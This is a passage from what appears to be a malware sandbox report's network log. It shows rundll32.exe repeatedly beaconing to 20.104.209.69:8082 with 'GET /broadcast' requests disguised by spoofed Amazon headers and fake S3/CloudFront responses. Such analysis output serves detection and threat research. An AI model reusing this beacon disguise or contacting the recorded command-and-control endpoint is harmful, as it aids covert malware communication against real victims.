Jan 8, 2023 16:10:46.837678909 CET	2000	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
514	192.168.2.6	50213	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:47.102900028 CET	2002	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:47.223984957 CET	2003	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
515	192.168.2.6	50214	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:47.487291098 CET	2005	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:47.604835987 CET	2006	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
516	192.168.2.6	50215	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:47.865416050 CET	2009	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:47.983385086 CET	2009	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
517	192.168.2.6	50216	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:48.229441881 CET	2012	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:48.347917080 CET	2012	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
518	192.168.2.6	50217	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:48.607878923 CET	2015	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:48.727019072 CET	2015	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:39 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
519	192.168.2.6	50218	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:49.000468969 CET	2018	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:49.118027925 CET	2019	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	49750	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:20.376528025 CET	521	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:20.495791912 CET	522	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:11 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
520	192.168.2.6	50219	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:49.395260096 CET	2021	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:49.513806105 CET	2022	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:40 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
521	192.168.2.6	50220	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:49.764549971 CET	2025	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:49.882392883 CET	2025	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
522	192.168.2.6	50221	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:50.156927109 CET	2028	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:50.275543928 CET	2028	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
523	192.168.2.6	50222	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:50.524832010 CET	2031	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:50.644500971 CET	2031	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:41 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
524	192.168.2.6	50223	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:50.915674925 CET	2034	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:51.033773899 CET	2034	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
525	192.168.2.6	50224	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:51.295409918 CET	2037	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:51.414513111 CET	2038	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:42 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
526	192.168.2.6	50225	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:51.683851004 CET	2040	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:51.802164078 CET	2041	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
527	192.168.2.6	50226	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:52.062375069 CET	2044	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:52.182323933 CET	2044	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
528	192.168.2.6	50227	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:52.432416916 CET	2047	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:52.552661896 CET	2047	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:43 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
529	192.168.2.6	50228	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:52.865314960 CET	2050	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:52.983756065 CET	2050	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	49751	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:20.858032942 CET	524	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:20.975853920 CET	525	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:12 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
530	192.168.2.6	50229	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:53.237102985 CET	2053	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:53.355879068 CET	2053	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
531	192.168.2.6	50230	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:53.609744072 CET	2056	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:53.727482080 CET	2057	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:44 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
532	192.168.2.6	50231	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
